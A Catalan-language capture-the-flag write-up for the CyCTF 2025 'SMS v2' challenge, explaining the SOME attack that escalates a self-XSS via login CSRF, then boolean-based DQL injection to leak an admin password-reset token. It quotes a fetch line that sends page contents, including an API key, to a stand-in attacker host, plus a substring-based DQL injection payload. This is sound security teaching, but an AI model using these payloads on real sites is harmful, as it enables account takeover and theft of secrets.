Party Cat0%

10/11/25

InjeccióDQLiALGUNatac

Repte SMS v2 | CyCTF 2025

Thanks for sharing!

بِسْمِ اللَّهِ الرَّحْمَنِ الرَّحِيمِ

Injecció DQL i ALGUN atac
I know your browser history
És Bolet, Kalawy i Zonkor! Tornem amb un altre escrit. Aquesta vegada encadenem un Self-XSS en una execució de mètodes SAME-ORIGIN (ALGUNS) per enganxar un compte de desenvolupador i, a continuació, pivotem amb una injecció DQL per posseir completament l'administrador en un objectiu SMS v2 de CyCTF 2025 Quals.
Descarrega el repte aquí

Què és l'atac SOME?

ALGUNS, o Same Oorigin Method/Function **Execution, és una característica del navegador que permet que una funció allotjada en una pàgina s'executi des d'una altra, si i només si es troben al mateix origen. En altres paraules, això permet que una pàgina en controli una altra sempre que comparteixin el mateix origen. Per exemple, si teniu una pàgina A que executa example.com i una altra que executa example.com/info, si podem fer referència a la pàgina A al codi de la pàgina B d'alguna manera, podem executar les funcions d'A des de B.
Expliquem-ho amb un exemple, tens una pàgina A que té aquesta funció:
Si podem obtenir una referència a page A d'una altra pàgina del mateix origen (page B), podem anomenar aquesta funció Greeting des de la pàgina B.
Una manera habitual de crear aquesta referència és utilitzant window.open(). Quan page A obre page B mitjançant window.open('/PageB.html'), s'estableix una relació pare-fill. Aleshores, Page B pot referir-se al seu inici, page A, mitjançant la propietat window.opener. Això concedeix a page B accés a les funcions de page A.
Podeu provar-ho amb l'exemple següent.
Aquest concepte va ser aprofitat per l'investigador Ben Hayak per augmentar les vulnerabilitats limitades d'execució de JavaScript (per exemple, self xss) en atacs més crítics, com ara realitzar accions de falsificació de sol·licituds entre llocs (CSRF). Podeu obtenir més informació de la seva presentació en aquest vídeo.
SOME Attack Presentation

Aprofitant ALGUNES

L'atac SOME permet a un atacant executar accions privilegiades en un lloc web objectiu aprofitant una cadena de vulnerabilitats. Aquí hi ha un escenari d'atac típic:
SOME Attack gif
  1. L'atacant allotja un HTML maliciós window.open("https://target.com/vulnerable"), a attacker.com (Pàgina A) que obre una finestra nova (Pàgina B). La pàgina B és vulnerable a XSS;
  2. Redirigir la finestra actual (Pàgina A) a una altra pàgina de destinació que tingui una funció/informació crítica que pertany al mateix origen que la pàgina B window.location.href='https://target.com/critical_func';

Submergir-se en el repte

No entraré en profunditat en els detalls de la revisió del codi, però és obvi que tenim un Self-XSS a dashboard.php a causa de l'ús del filtre Twig raw, que ignora l'escapament HTML de l'entrada.
Fins ara, és un auto-XSS; no serà útil sense una escalada.
Tenim un bot que inicia sessió com a desenvolupador i després visita l'enllaç proporcionat. Aquest desenvolupador té un punt final /api/me.php que retorna la clau de l'API, el nostre primer objectiu és filtrar aquesta clau de l'API mitjançant l'XSS escalat. L'única manera de lliurar el nostre XSS és forçar el desenvolupador a iniciar sessió al nostre compte, però així... com tindríem accés al punt final /api/me.php? Això canviaria l'usuari connectat a nosaltres, no al desenvolupador.
Aleshores, què passa si primer carreguem les dades crítiques i després CSRF el desenvolupador iniciï sessió amb el nostre compte per a l'XSS? Aquí és on els ALGUNS van arribar a l'escena.

Explotació d'ALGUNS en aquest repte

ALGUNES explotacions estableixen que l'XSS s'hauria d'obrir a la finestra secundària (Pàgina B) i el mètode/funció/dades crítiques al pare (Pàgina A).
Aquesta regla es pot canviar, en cas que la finestra infantil escolti postMessage, però no vull fer-la més complexa, així que es deixa per a l'usuari
Diagram
  1. La pàgina A (pare) obrirà la pàgina B (fill) que conté el CSRF
  2. La pàgina A (pare) redirigirà a /api/me.php mitjançant window.location.href='http://web:80/api/me.php'
  3. El CSRF (a la pàgina B) hauria d'esperar fins que es carregui la finestra principal (Pàgina A), així que hauríem d'afegir almenys 100ms retard al nostre CSRF.
  4. S'envia el CSRF, que ens permet accedir a la Pàgina A (parent) i enviar el seu contingut (clau API) al nostre servidor fetch("http://attacker/leak?data="+btoa(window.opener.document.body.innerHTML).
Aquesta és la part del solucionador (adjunta al final) que gestiona aquests passos:
Ara que tenim la clau API, podem passar al següent pas, que és utilitzar DQL Injection per extreure el testimoni de restabliment de la contrasenya de l'administrador.

Què és DQL?

Heu de saber que el repte utilitza Doctrine ORM (Object-Relational Mapper).
Què és: Doctrine és una biblioteca que assigna els vostres objectes PHP directament a taules de bases de dades. Aquesta classe d'usuari és una entitat de doctrina, que actua com a model per a la taula d'usuaris de la vostra base de dades.
Què és DQL: DQL (Doctrine Query Language) és el llenguatge que utilitzeu per consultar aquests objectes. En lloc d'escriure SQL en brut com SELECT * FROM users, escriviu consultes orientades a objectes com SELECT u FROM App\Entity\User u. El fitxer User.php defineix l'objecte que les consultes DQL trobaran, crearan o actualitzaran.

Injecció DQL

Necessitàvem la clau API per dur a terme aquest pas, ja que el punt final està protegit.
A la funció findFeedbackById(...) de doctrine.php, hi ha el nostre punt d'injecció.
Podem injectar directament el paràmetre $id, ja ​​que està concatenat a la consulta DQL sense cap desinfecció.
El primer pensament que em ve al cap és: Simplement inserim un nou usuari amb un rol d'administrador, o fins i tot actualitzem el nostre! Però no va funcionar.
Després d'algunes investigacions (Amb la recerca de chatgpt), vam descobrir que l'analitzador DQL espera un sol tipus de declaració, una sola consulta, de manera que no podem acabar la consulta actual amb un punt i coma (;) i afegir-ne una altra, ha de ser una sola consulta.
Què podem fer llavors? Podem intentar filtrar dades! Com el testimoni de restabliment de la contrasenya de l'administrador. Vaig decidir buscar a Google i vaig trobar aquesta interessant recerca: DQL injection. Comproveu la part "Basada en booleans":
Això simplement utilitza subconsultes per extreure dades caràcter per caràcter. Si la subconsulta select 1 from App\Entity\User a where a.id=1 and substring(a.password,1,1)='$' retorna veritable, tota la consulta tornarà veritable, per tant, obtenim algunes dades, sinó obtindrem un resultat buit.
Això és exactament el que vam fer per extreure el testimoni de restabliment de la contrasenya de l'administrador, caràcter per caràcter. La càrrega útil adequada en el nostre cas seria:
aquí substring(a.code,1,1)='a' comprova si el primer caràcter del testimoni de restabliment de l'administrador és "a". Recorrem tots els caràcters possibles, després el segon el canviem a substring(a.code,2,1)='b' i així successivament.
Assegureu-vos de posar almenys un comentari a la base de dades, sinó sempre obtindreu un resultat buit.
I això l'embolica! Extreu el testimoni de restabliment, restabliu la contrasenya de l'administrador, inicieu sessió com a administrador i obteniu la bandera de flag.php.

Aquí teniu un solucionador de versió completa fet per Kalawy que automatitza tot el procés: descarregueu aquí
SMS v2 Solver
Assegureu-vos d'enviar un comentari abans d'executar l'script per evitar el buit al pas d'injecció DQL.
Això és tot per aquest escrit, espero que us hagi agradat i hàgiu après alguna cosa nova! Ves a seguir aquestes persones increïbles si encara no ho has fet: Kalawy i Zonkorany! (I segueix-me també hehe: MushroomWasp)

També et pot interessar